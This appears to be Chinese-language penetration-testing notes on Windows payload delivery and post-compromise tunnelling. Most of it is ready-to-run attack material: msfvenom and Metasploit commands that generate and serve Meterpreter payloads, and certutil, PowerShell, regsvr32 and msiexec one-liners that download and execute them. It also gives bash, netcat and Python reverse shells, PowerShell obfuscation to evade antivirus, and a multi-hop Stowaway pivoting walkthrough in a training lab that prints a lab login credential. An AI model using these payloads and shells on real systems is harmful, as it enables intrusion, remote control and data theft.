1.MSF 托管 hta 服务。
msf 开启 Web 服务,在里面存放应用,将自动给出 URL 链接。
use exploit/windows/misc/hta_server
set srvhost <Host>
set payload windows/x64/meterpreter/reverse_tcp
set target 1 // 设置目标系统类型为 x64,0 是 x86
exploit -j
Payload 和 target 设置类型设置为 X64 还是 X86,实际情况要根据系统版本来看。
执行反弹。
mshta http://<Host>:8080/say00S5.hta
除了使用 mshta 运行外还可以通过浏览器运行。在 IE 11 和新老版本 Edge 浏览器下载 hta 应用后存在自动打开按钮(Chrome 和 Firefox 则是直接下载)。
这里以 Windows 11 上 Edge 为例,点击打开会有警告提示。
2.HTA 反弹 MSF
msfvenom 生成 HTA 文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhos=<Host> loport=<Port> -f htfa-psh -o attack.hta
msf 监听即可。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
这里 handler 相当于一键设置 exploit/multi/handler 和 Payload。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <Host>
set lport <Port>
exploit -j
3.Cobalt Strike HTA 上线
Cobalt Strike 也可以生成 hta 文件,在菜单 Attacks -> HTML Application 生成。
2.1.3 Rundll32
Rundll32 用于运行 32 位 DLL 文件,说白了就是能执行 dll 中代码。
可以执行 .hta 上线。
rundll32.exe url.dll,OpenURL attack.hta
或者是通过 MSF SMB Delivery 上线。
设置共享 dll 服务监听 IP 和端口,默认监听 0.0.0.0:445
use exploit/windows/smb/smb_delivery
启动完成将给出 .dll 文件地址。
rundll32.exe \\Host\test.dll,0
默认共享不方便使用,可以找到 MSF 生成的 .dll 复制下来用 http 服务托管加载。
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=<Host> LPORT=<Port> -f dll > attack.dll
msf 使用指定 Payload 监听。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
客户端加载上线。
rundll32 shell32.dll,Control_RunDLL attack.dll
2.1.4 Regsvr32
Regsvr32 用于注册 .dll 文件为组件。
存放在 %systemroot%\System32\regsvr32.exe。
use exploit/multi/script/web_delivery
set srvhost <Host>
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost <Host>
exploit -j
客户端执行上线。
regsvr32 /s /n /u /i:http://<Host>/xxx.sct scrobj.dll
2.1.5 Certutil
生成 exe。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Host> LPORT=<Port> -f exe > attack.exe
下载文件到 C:\Windows\Temp\ 并执行,最后删除缓存。
certutil -urlcache -split -f http://<Host>/attack.exe C:\Windows\Temp\attack.exe & start C:\attack.exe
// 删除缓存
certutil -urlcache -split -f http://<Host>/attack.exe
有时能够执行命令不出网没法下载文件,在 @AabyssZG 博客中《SQL注入恶劣环境之可执行文件上传骚姿势》一文可以通过 Certutil 编解码功能来传输文件。网络稳定的情况下传一些小文件很好用,在此记录下。
先将文件编码 Certutil -encode <要编码的文件> <编码后文件>
。
E:\Desktop>DIR /C student_raingray_beacon.exe
驱动器 E 中的卷是 SoftWare2
卷的序列号是 7E0F-A68D
E:\Desktop 的目录
2023/05/19 11:18 288,256 student_raingray_beacon.exe
1 个文件 288,256 字节
0 个目录 598,579,605,504 可用字节
E:\Desktop>Certutil -encode student_raingray_beacon.exe student_raingray_beacon
输入长度 = 288256
输出长度 = 396412
CertUtil: -encode 命令成功完成。
会发现文件被 Base64 编码。
-----BEGIN CERTIFICATE-----
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
......
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA==
-----END CERTIFICATE-----
在目标系统上输出重定向到文件中。VSCode 使用正则 ^
在开头添加 echo
,使用 $
在尾部批量添加 >> record
。
echo -----BEGIN CERTIFICATE----- >> record
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> record
......
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> record
echo AAAAAAAAAAAAAAAAAAAAAA== >> record
echo -----END CERTIFICATE----- >> record
但一个 280Kb 文件有 5000 多行,在网络环境不稳定的情况下,某一条输出重定向命令执行失败,就会导致文件不完整,因此可以使用命令拼接的方式,成功执行一条输出所在行数并把行数写入到文件中方便回顾。
&& echo LineNumber && echo LineNumber >> FileEchoStatus
打开 Excel,把所有编码的数据放在 B 列。A 列第一行输入 echo
,向下选中空列 Ctrl + D 快速填充。注意末尾后面又一个空格。
在 C 列输入 >> record && echo
一样进行填充。注意开头和末尾各有一个空格。
在 D 列第一行输入 1,快速填充行数。
和 A 列一样,在 E 列第一行,快速填充 && echo
。注意开头和末尾各有一个空格。
F 列直接把 D 行数字复制过来即可。
最后 G 列快速填充 >> FileEchoStatus
,就可以了。注意开头有一个空格。
将表格另存为 txt,把第一行追加重定向,改成覆盖,防止文件已经存在导致数据错乱这种低级问题。
最后使用 Windows 自带笔记本将其中的 Tab 制表符给删除(VSCode 不知道为啥把空格也识别成 Tab),防止在命令行中粘贴自动把 Tab 识别成选中文件,至少在 Windows 命令提示符中粘贴输入是这样。
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> record && echo 2
所有命令执行完成后,没有任何传输失败的情况,再把还原成应用。这里是将 record 成功还原回 1.exe。
E:\Desktop>Certutil -decode record 1.exe
输入长度 = 396412
输出长度 = 288256
CertUtil: -decode 命令成功完成。
像是这种思路也很常见,比如把文件做一些编码,尽可能让编码后的数据短些,后面在通过系统自带的工具进行解码,这种利用正常的自带的工具也叫 LOLBin。
2.1.6 Powershell
1.生成 PowerShell 脚本上线。
生成 ps1 脚本指定反连接地址和端口。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Host> lport=<Port> -f psf-reflection -o attack.ps1
MSF 监听。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
执行上线。
powershell -w hidden -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<Host>/attack.ps1');attack.ps1"
2.powercat 上线。
此工具实现了 Netcat 功能。
-c 反连服务器地址,-p 反连服务器端口,-e 反弹 cmd。
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<Host>/powercat.ps1');powercat -c <Host> -p <Port> -e cmd"
服务端只需等待 Shell 反弹回来即可。
nc -lvp <Port>
3.msf web_delivery 上线。
target 2 PSH 是 PowerShell 简写,用于生成 PowerShell 脚本。
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
执行 msf 提供的脚本即可。
4.PowerShell 运行 cscript 程序去执行 vbs 脚本上线
生成 vbs 脚本。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Host> lport=<Port> -f vbs -o attack.vbs
MSF 监听。
msf6> handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
下载脚本到 $env:temp,sccript 执行 attack.vbs 上线。
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<Host>/attack.vbs',\"$env:temp\attack.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\attack.vbs\""
5.PowerShell 运行 bat
msfvenom -p cmd/windows/powershell_reverse_tcp lhost=<Host> lport=<Port> -o attack.bat
MSF 监听。
handler -p cmd/windows/powershell_reverse_tcp -H <Host> -P <Port>
上线。
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<Host>/attack.bat'))"
6.补充
PowerShell 混淆
导入脚本
powershell -ep bypass import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation
设置需要混淆的脚本路径。
set scriptpath C:\attack.ps1
设置混淆模式。
token\all\1
输出混淆后脚本。
out mix-attack.ps1
尝试执行混淆后脚本看 AV 是否拦截。
powershell -ep bypass -f mix-attack.ps1
2.1.7 msiexec
msiexec 用于安装 Windows MSI 程序,常常通过命令行用来批量安装应用。
生成 Payload。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Host> lport=<Port> -f msi -o attack.msi
MSF 监听。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
上线。
msiexec /q /i http:<Host>/attack.msi
OPSEC:运行后不知道 %TEMP%
是否存在日志,需确认(这条待确认)https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84msiexec#:~:text=%E6%89%A7%E8%A1%8C%E5%90%8E%E4%BC%9A%E5%9C%A8%25TEMP%25%E4%B8%8B%E7%94%9F%E6%88%90MSI%E7%9A%84log%E6%96%87%E4%BB%B6%EF%BC%8C%E5%A6%82%E5%9B%BE*
2.1.8 exe 可执行文件
生成 Payload。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Host> lport=<Port> -f exe -o attack.exe
MSF 监听。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
上线。
powershell (New-Object Net.WebClient).DownloadString('http://<Host>/attack.bat', 'attack.exe');start attack.exe
powershell -w hidden -ep bypass -nop (New-Object Net.WebClient).DownloadString('http://<Host>/attack.exe', 'attack.exe');start-process attack.exe
2.2 Linux
2.2.1 Bash
控制端将输入传输到被控端执行,被控端也要将执行返回的内容输出到控制端完成交互。
// 返回部分交互式 Shell,没有 [Username@HostName CurrentDir]
bash -i > /dev/tcp/<IP>/<Port> 0>&1 2>&1
// 能够返回完整可交互 Shell
bash -i &> /dev/tcp/<IP>/<Port> 0>&1
bash -i
,-i 选项启动交互式 Shell>
,将标准输出重定向到远程地址,&>
,将标准输出和标准错误重定向到远程地址/dev/tcp
,被控端通过 socket 与控制端 IP:Port 建立 TCP 连接0>&1
2>&1
,2 是标准错误,>& 是标准错误输出重定向,1 是标准输出,连起来是将错误内容输出重定向到标准输出里。
此时
2.2.2 Netcat
Server 监听
nc -lvp <Port> -e /bin/sh
Client 连接到目标端口即可拿到 Shell
nc <IP> <Port>
nc 没有 -e 参数如何反弹。
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <Port> > /tmp/f
详见 Netcat - raingray Blog 一文
Server 监听 333 端口,用 -c 把 shell 传过去,
-c
是使用 shell。nc -lp 333 -c bash
Client nc 连接到 Server 333 端口,由于服务端把 shell 传过来了,客户端就拥有执行命令的权限,权限多大的具体看用户。
nc 172.28.112.34 333
另外还有种用法是客户端监听 333 端口(测试者开放端口等待服务端连接)。
nc -lp 333
服务端连连接 333 端口把自己的 shell 传给客户端。得到目标系统 shell 后可以利用这种方法把目标系统 shell 传给测试者(让服务器主动连接测试者)。
B(server):nc 172.28.112.34 333 -c bash
注:如果是 Windows 请把 shell 换成 cmd。
2.2.3 Python
Python3 反弹。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xxx.xxx.xx",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
环境变量不完整,没法补全命令。
[root@blog ~]# nc -lvvp 7172
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::7172
Ncat: Listening on 0.0.0.0:7172
Ncat: Connection from 117.21.200.176.
Ncat: Connection from 117.21.200.176:38804.
/bin/sh: 0: can't access tty; job control turned off
$ ls
app.py
flag.sh
requirements.txt
templates
$ python -c "import pty;pty.spawn('/bin/bash')"
app@out:/app$
通过 Python 获取 pty 终端,虽然也不好用,但是相比 Bash 反弹的 Shell 来说好多了。
app@out:/app$ ls
ls
app.py flag.sh requirements.txt templates
关于获取一个标准终端的两篇文章
https://www.freebuf.com/news/142195.html
https://bbs.ichunqiu.com/thread-54982-1-1.html
https://legoc.github.io/2018/09/20/Linux提权思路
2.2.4 PHP⚒️
2.2.5 Ruby⚒️
2.2.6 Perl⚒️
2.2.7 OpenSSL⚒️
2.2.8 Telnet⚒️
2.2.9 git hooks⚒️
在项目设置 git hook 的 pre-receive 写上反弹语句,pre-receive 就是在 commit 之前会执行脚本。之后就新建个文件 commit 就可以拿到 Shell了。
3 建立隧道⚒️
建立隧道目的是为了后面内网横向移动提前准备好的网络通道,方便从互联网访问到内网资源。
建立隧道前先要进行出网探测,确认当前网络能不能连通外网,哪些能协议能出?当前主机出站流量能够访问哪些端口?是不是只允许连接目标 IP 或者指定端口?不然后续操作很不方便。
这里介绍三种网络情况:
1.情况一
目标机器能出网也有公网地址,直接在目标机器上开 Socks5 正向连接。
2.情况二
拿下的目标机器没有公网 IP,可能处在反向代理后面的内网集群,但也能访问内网和互联网,此时可以让目标反连 VPS,我们通过 VPS 访问目标内部网络。
3.情况三
通过 Web 漏洞打下的是反向代理后面机器,通过反向代理连接,只能访问内网,不能访问互联网(不出网),只能走 HTTP 协议,那么可以尝试搭建 HTTP Tunnel(原理本地脚本开启 SOCKS,所有流量转发到 WebShell 后, WebShell 再使用 SOCKS 服务端将流量转发到内网),Red Team Operator -> Reverse Proxy -> Web App(HTTP Tunnel) -> Internal NetWork。
只访问某个端口可以用 Neo-reGeorg 搭建 HTTP 隧道做端口转发,很稳定。
以上情况只要能通信,代理正连反连都可以。
具体怎么探测可以使用下面方法:
1.DNS
使用 vps-ip 作为 DNS 服务器解析 www.baidu.com 域名,在服务器端只要监听 53 端口看能不能收到流量 nc -u -lvp 53
。
dig @vps-ip www.baidu.com
nslookup www.baidu.com vps-ip
2.ICMP
vps-ip 抓 icmp 流量 tcpdump icmp
。
ping vps-ip
PowerShell 中 Test-NetConnection 也可以。
PS C:\Users\gbb> # ICMP 测试
PS C:\Users\gbb> Test-NetConnection -ComputerName 13.107.4.52
ComputerName : 13.107.4.52
RemoteAddress : 13.107.4.52
InterfaceAlias : WLAN
SourceAddress : 172.20.10.2
PingSucceeded : True
PingReplyDetails (RTT) : 186 ms
3.TCP
测试 TCP 连接可以用 PowerShell 中 TcpClient。第一个参数填 Host,第二个参数是端口。
PS E:\desktop> (New-Object System.Net.Sockets.TcpClient("www.raingray.com", "443")).Connected
True
或者上传 nc 到服务器上,反连 vps-ip 端口看能不能连接成功 nc -lvp port
。
nc vps-ip port
4.HTTP
curl -I http://www.domain.com
wget -qSO /dev/null http://domain.com
wget -qSO- http://www.domain.com
当前机器不出网很可能当前网段机器都是不出网的,可以找其他网段机器拿下尝试。
介绍隧道概念:传输隧道按层划分:应用层啊,传输层啊。HTTP,TCP,DNS,SSH,SOCKS,SOCKS5,ICMP。隧道原理是什么
根端口转发做出对比:什么时候选端口转发或隧道?它俩优劣势是什么。最好拿前面 SSH 动态端口转发小节做例子。
最后谈谈实战中拿下边界服务器内网横向渗透时多层代理如何玩儿,不同网段怎么通信,是使用正向还是反向。
大内网怎么扫主机:找网关,确认网段。ping 确定存活主机,如果机器之间禁 icmp 如何探测。
隧道特征:
- http 隧道,新增文件
- icmp 隧道数据大小比正常的大。
- dns 隧道,与内部已有的 dns 主机不同,大量 dns 查询。
3.1.1 SOCKS
客户端软件:
- Windows:Proxifier
- Linux:proxychanis
Stowaway
1.反向连接
服务端开启监听
.\windows_x64_admin.exe -s test -proxyp asdf -proxyu proxy -l 8888
客户端主动连接服务端
root@ubuntu:/home/web/Desktop# ./linux_x64_agent -c 172.20.10.2:8888 -s test
要注意客户端连接服务端 8888 端口后,其他客户端无法再使用此端口。
2.正向连接
客户端开启监听
C:\>windows_x64_agent.exe -l 10000 -s test
服务端主动连接客户端
.\windows_x64_admin.exe -c 127.0.0.1:10000 -s test
3.多级代理连接
一般情况下第一层代理,很可能因为网络防火墙入站规则限制较严格,会使用反向链接。拿到一个连接后,会生成一个节点。
节点内正向连接,客户端开启监听
C:\>windows_x64_agent.exe -l 10000 -s test
进入节点主动连接客户端
(admin) >> use 0
(node 0) >> connect 192.168.52.30:10000
节点内反向连接,或者节点开启端口监听。
(node 1) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 192.168.93.20:20001
[*] Waiting for response......
[*] Node is listening on 192.168.93.20:20001
(node 1) >>
[*] New node come! Node id is 2
客户端连接到节点。
C:\>windows_x64_agent.exe -c 192.168.93.20:20001 -s test
Stowaway 缺点:实战环境中拿下目标机器后,想用它做服务端,可惜没有 screen、tmux 这种终端管理工具的情况下不能在后台运行,很不方便。
这里使用【启元】ATT&CK红队七WHOAMI Penetration进行多层代理专项训练。
由于 DMZ 主机 IP1 是桥接宿主机,IP 根据每台机器 DHCP 动态获取会有不同,以实际为准。
建立第一层隧道
拿下 DMZ 区域 Ubuntu 主机,Shell 地址 http://172.20.10.3:81/backdoor.php,它的 Web 应用流量是反向代理到内网第二层网络,并且还是多网卡机器,因此能够访问第二层网络。
VPS 服务端开启 Socks 监听 8888,等待连接。-s 使用加密密钥 test 传输数据。
PS E:\Desktop\Stowaway> .\windows_x64_admin.exe -s test -proxyp asdf -proxyu proxy -l 8888
[*] Starting admin node on port 8888
.-') .-') _ ('\ .-') /' ('-. ('\ .-') /' ('-.
( OO ). ( OO) ) '.( OO ),' ( OO ).-. '.( OO ),' ( OO ).-.
(_)---\_)/ '._ .-'),-----. ,--./ .--. / . --. /,--./ .--. / . --. / ,--. ,--.
/ _ | |'--...__)( OO' .-. '| | | | \-. \ | | | | \-. \ \ '.' /
\ :' '. '--. .--'/ | | | || | | |,.-'-' | || | | |,.-'-' | | .-') /
'..'''.) | | \_) | |\| || |.'.| |_)\| |_.' || |.'.| |_)\| |_.' |(OO \ /
.-._) \ | | \ | | | || | | .-. || | | .-. | | / /\_
\ / | | '' '-' '| ,'. | | | | || ,'. | | | | | '-./ /.__)
'-----' '--' '-----' '--' '--' '--' '--''--' '--' '--' '--' '--'
{ v2.1 Author:ph4ntom }
[*] Waiting for new connection...
上传 agent,-c 反连 VPS 172.20.10.2:8888,--reconnect 断线后 10 重连一次。
root@ubuntu:/home/web/# ./linux_x64_agent -c 172.20.10.2:8888 -s test
2023/03/13 00:54:48 [*] Starting agent node actively.Connecting to 172.20.10.2:8888
agent 与 VPS admin 端连接成功。
PS E:\Desktop\Stowaway> .\windows_x64_admin.exe -s test -l 8888
[*] Starting admin node on port 8888
.-') .-') _ ('\ .-') /' ('-. ('\ .-') /' ('-.
( OO ). ( OO) ) '.( OO ),' ( OO ).-. '.( OO ),' ( OO ).-.
(_)---\_)/ '._ .-'),-----. ,--./ .--. / . --. /,--./ .--. / . --. / ,--. ,--.
/ _ | |'--...__)( OO' .-. '| | | | \-. \ | | | | \-. \ \ '.' /
\ :' '. '--. .--'/ | | | || | | |,.-'-' | || | | |,.-'-' | | .-') /
'..'''.) | | \_) | |\| || |.'.| |_)\| |_.' || |.'.| |_)\| |_.' |(OO \ /
.-._) \ | | \ | | | || | | .-. || | | .-. | | / /\_
\ / | | '' '-' '| ,'. | | | | || ,'. | | | | | '-./ /.__)
'-----' '--' '-----' '--' '--' '--' '--''--' '--' '--' '--' '--'
{ v2.1 Author:ph4ntom }
[*] Waiting for new connection...
[*] Connection from node 172.20.10.3:58946 is set up successfully! Node id is 0
(admin) >> detail
Node[0] -> IP: 172.20.10.3:58946 Hostname: ubuntu User: root
Memo:
(admin) >>
给 node 0 做个注释信息,方便其他同事了解此节点信息。
(node 0) >> addmemo "DMZ 边界机"
[*] Memo added!
(node 0) >> back
(admin) >> detail
Node[0] -> IP: 172.20.10.3:58946 Hostname: ubuntu User: root
Memo: "DMZ 边界机"
(admin) >>
进入节点,在 VPS 端开启 Socks 端口,用户名 proxy,密码 proxys。后续 VPS 通过此端口就可以连到 node 0(DMZ 区)网络。
(admin) >> use 0
(node 0) >> socks 9000 proxy proxys
[*] Trying to listen on 0.0.0.0:9000......
[*] Waiting for agent's response......
[*] Socks start successfully!
VPS 确实开启 9000,由 admin 端开启的端口。
PS C:\Users\gbb> netstat -ano -p tcp | findstr 9000
TCP 0.0.0.0:9000 0.0.0.0:0 LISTENING 22064
PS C:\Users\gbb> tasklist | findstr 22064
windows_x64_admin.exe 22064 Console 1 11,692 K
Proxyfier 设置代理服务器,成功连接。
Profile -> Proxyification Rules -> Add 添加规则,允许 edge 浏览器访问走代理。
通过扫描发现第二层网络内网 OA。
此时访问 OA 整个流量走向是:
Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9000) -> VPS admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>)
建立第二层隧道
通过 DMZ 拿下第二层网络通达 OA Shell。
systeminfo 确认类型为 64,上传 64 agent。
由于没有防火墙限制,这回不再像第一层代理 DMZ 主机一样去反连接,尝试选择 agent 自己开放端口 0.0.0.0:10000,让 DMZ 主动连接(正向连接)。
C:\>./windows_x64_agent -l 10000 -s test
2023/03/13 16:25:54 [*] Starting agent node passively.Now listening on port 10000
DMZ 主机成功连接 OA 服务器,自动取名 Node 1 成为 Node 0 子节点。
(node 0) >> connect 192.168.52.30:10000
[*] Waiting for response......
[*] New node come! Node id is 1
(node 0) >> back
(admin) >> topo
Node[0]'s children ->
Node[1]
Node[1]'s children ->
(admin) >> detail
Node[0] -> IP: 172.20.10.3:58954 Hostname: ubuntu User: root
Memo: "DMZ 边界机"
Node[1] -> IP: 192.168.52.30:10000 Hostname: PC1 User: whoamianony\bunny
Memo:
(admin) >>
继续做备注方便后续回顾。
(admin) >> use 1
(node 1) >> addmemo "通达 OA"
[*] Memo added!
(node 1) >> back
(admin) >> detail
Node[0] -> IP: 172.20.10.3:58954 Hostname: ubuntu User: root
Memo: "DMZ 边界机"
Node[1] -> IP: 192.168.52.30:10000 Hostname: PC1 User: whoamianony\bunny
Memo: "通达 OA"
(admin) >>
继续在 VPS 开启 Socks 端口 9001,方便通过 VPS 连接到 OA 网络内。
(node 1) >> socks 9001 proxy proxys
[*] Trying to listen on 0.0.0.0:9001......
[*] Waiting for agent's response......
[*] Socks start successfully!
(node 1) >>
现在访问 9001 流量走向是:
Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9001) -> VPS Admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>) -> 第二层网络-通达 OA(192.168.52.30:10000)
建立第三层隧道
通过搜集信息发现,第二层网络-通达 OA 也是双网卡机器,能通信第三层网络。通过扫描第三层网络主机,发现域内单机 192.168.93.40 开放 RDP,使用弱口令成功登录。
WHOAMIANONY\moretz
Moretz2021
经过测试不出网,选择将 agent 放在第二层网络-通达 OA 服务器上访问去下载。
certutil -urlcache -split -f http://192.168.52.30:8080/windows_x64_agent.exe
在节点 Note 1(通达 OA)上开启监听端口 192.168.93.20:20001。
(node 1) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 192.168.93.20:20001
[*] Waiting for response......
[*] Node is listening on 192.168.93.20:20001
(node 1) >>
域内单机反向连接到 Note 1(第二层网络-通达 OA)。
C:\Users\moretz.WHOAMIANONY\Desktop>windows_x64_agent.exe -c 192.168.93.20:20001 -s test
2023/03/13 18:21:18 [*] Starting agent node actively.Connecting to 192.168.93.20:20001
OA 节点主动显示新节点 Note 2 连接,成为 Note 1 子节点。
(node 1) >>
[*] New node come! Node id is 2
(node 1) >> back
(node 2) >> addmemo "域内单机"
[*] Memo added!
(admin) >> detail
Node[0] -> IP: 172.20.10.3:58954 Hostname: ubuntu User: root
Memo: "DMZ 边界机"
Node[1] -> IP: 192.168.52.30:10000 Hostname: PC1 User: whoamianony\bunny
Memo: "通达 OA"
Node[2] -> IP: 192.168.93.40:4435 Hostname: PC2 User: whoamianony\moretz
Memo: "域内单机"
(admin) >> topo
Node[0]'s children ->
Node[1]
Node[1]'s children ->
Node[2]
Node[2]'s children ->
(admin) >>
在 Socks 开启端口,直通第三层网络。
(admin) >> use 2
(node 2) >> socks 9002 proxy proxys
[*] Trying to listen on 0.0.0.0:9002......
[*] Waiting for agent's response......
[*] Socks start successfully!
现在访问 9002 流量走向是:
Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9002) -> VPS Admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>) -> 通达 OA(192.168.52.30:20001) -> 域内单机(192.168.93.40:<randomPort>)
rakshasa⚒️
https://github.com/Mob2003/rakshasa
venom⚒️
https://github.com/Dliv3/Venom
frp⚒️
目标通网,可以使用 frp 连到内网。
frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
kcp_bind_port = 7000
token = 18xujk38
tcp_mux = true
log_file = ./frps.log
log_level = info
log_max_days = 3
frpc.ini
[common]
server_addr = 106.2.120.110
server_port = 7000
protocol = kcp
token = 18xujk38
[plugin_socks5]
type = tcp
local_port = 8084
remote_port = 29017
plugin = socks5
use_encryption = true
use_compression = true
frp 内网穿透,配合 vps 使用,效果还不错。在反弹 Shell 时一直有个问题,在没有公网 vps 中转流量如何反弹 Shell 到本机?
拿到管理员权限后可以用 Proxifer 来代理本机软件,通过 frp 开 socket 连接到目标内网。
最好将 FRP 流量特征改掉,启用 TLS,将配置硬编码到程序里,其他只留部分作为命令行参数,比如 ip 端口。
chisel
VPS 监听端口
chisel server -p <Port> --reverse
客户端连接
chisel client <VPS-IP>:<Port> R:socks
nps🔨
3.1.2 VPN🔨
使用目标自带的 VPN 会更加隐蔽。
PPTP
OpenVPN
IPSEC
3.1.3 HTTP⚒️
Neo-reGeorg🔨
suo5🔨
说比 frp 快。缺点是只能在 jsp 环境下使用。
3.1.4 WebSocket🔨
3.1.5 ICMP🔨
icmptunnel
3.1.6 DNS🔨
Chashell
3.1.7 SSH 端口转发
借由 SSH 学习端口转发概念,后面其他工具只是使用方式不同,原理类似。
SSH 本地端口转发
本地端口转发能够解决的问题是,想要访问远程机器本地监听(不对外开放)的某个服务,或者是要访问远程机器内网其他主机的服务,以后只要访问本地端口就能访问到对应远程机器服务。
就可以用 SSH 在本地开启监听端口并指定一个你要访问的 IP:Port,,登录到远程机器,
使用 SSH 将本地 8888 端口流量通过 root@www.raingray.com 主机转发到 www.raingray.com:443。要注意的是做转发的机器(root@www.raingray.com)一定能与目标机器通信(www.raingray.com:443)才能成功。
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -N -L 8888:www.raingray.com:443 root@www.raingray.com
root@www.raingray.com's password:
-L 选项是本地端口转发核心选项,语法是 -L [bind_address:]port:host:hostport
,不加 bind_address 默认是监听 127.0.0.1。-N 是不使用 Shell 就不给,不加上就会把 SSH 登录后的 Shell 展示出来方便你执行命令用。还有个选项是 -f,在命令中没使用到,它的作用是把连接放到后台运行避免前台占着无法使用 Shell 输入命令。
本机已经建立 SSH 链接。
┌──(kali㉿kali)-[~/Desktop]
└─$ ss -napt4
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 127.0.0.1:8888 0.0.0.0:* users:(("ssh",pid=6694,fd=5))
ESTAB 0 0 192.168.136.129:58576 81.70.14.219:22 users:(("ssh",pid=6694,fd=3))
服务器上也有对应链接。
[root@VM-24-2-centos ~]# ss -pant | grep ssh
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=2200733,fd=4))
ESTAB 0 0 10.0.24.2:22 111.194.220.217:7369 users:(("sshd",pid=1332042,fd=5),("sshd",pid=1332028,fd=5))
LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=2200733,fd=5))
请求本地 127.0.0.1:8888,发现本地端口流量转发到 www.raingray.com 内。
┌──(kali㉿kali)-[~/Desktop]
└─$ curl https://127.0.0.1:8888 --insecure -s | egrep "<title>.*</title>"
<title>raingray Blog</title>
SSH 远程端口转发
假设本机 127.0.0.1:9999 开启 Web 服务器,想在在公网服务器上访问此服务,这就可以用上远程端口转发,将本机 127.0.0.1:9999 转发到远程公网服务器上某个端口上。
在本机使用 SSH 连接到 root@www.raingray.com 主机上,使用 -R 选项启用远程转发,将本机 127.0.0.1:9999 端口转发到目标机 www.raingray.com 的 8080 端口上(无需担心这个 8080 端口没开启,SSH 自动开启监听)。
ssh -N -R 8080:127.0.0.1:9999 root@www.raingray.com
登到目标机 www.raingray.com 可以看到 127.0.0.1:8080 监听端口。
[root@VM-24-2-centos ~]# ss -pant | grep 8080
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:* users:(("sshd",pid=1367194,fd=14))
LISTEN 0 128 [::1]:8080 [::]:* users:(("sshd",pid=1367194,fd=13))
在目标机内访问 127.0.0.1:8080,流量成功转发到本机 127.0.0.1:9999 Web 服务器。
[root@VM-24-2-centos ~]# curl -s -v 127.0.0.1:8080
* Rebuilt URL to: 127.0.0.1:8080/
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.61.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Host: 127.0.0.1:8080
< Date: Fri, 17 Feb 2023 15:37:36 GMT
< Connection: close
< X-Powered-By: PHP/8.1.12
< Content-type: text/html; charset=UTF-8
<
test
* Closing connection 0
不知道你有没关注到目标机 www.raingray.com 的 8080 端口监听地址是 127.0.0.1,这是因为目标机 SSH 配置文件中 GatewayPorts 的取值。
GatewayPorts no
